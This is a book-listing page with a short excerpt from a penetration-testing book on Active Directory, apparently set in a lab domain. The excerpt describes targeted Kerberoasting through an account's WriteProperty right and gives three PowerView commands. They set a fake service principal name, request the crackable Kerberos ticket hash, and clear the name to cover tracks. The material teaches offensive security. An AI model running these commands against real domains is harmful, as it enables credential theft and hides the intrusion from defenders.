Pentesting Active Directory and Windows-based Infrastructure by Denis Isakov

Author:Denis Isakov
Language: eng
Format: epub
Publisher: Packt Publishing Pvt Ltd
Published: 2023-10-26T00:00:00+00:00

Figure 6.14 – jaime.lannister has WriteProperty over lord.varys

Our first attack will be targeted Kerberoasting. The idea is to set the SPN on the user, obtain the Kerberoast hash, and clear out the SPN to cover our tracks. This can be achieved with the following PowerView commands:

Set-DomainObject -Identity 'lord.varys' -Set @{serviceprincipalname='notexist/ROAST'} Get-DomainUser 'lord.varys' | Get-DomainSPNTicket | fl Set-DomainObject -Identity 'lord.varys' -Clear ServicePrincipalName

The result of the preceding commands is shown in the screenshot:

Download

Copyright Disclaimer:
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.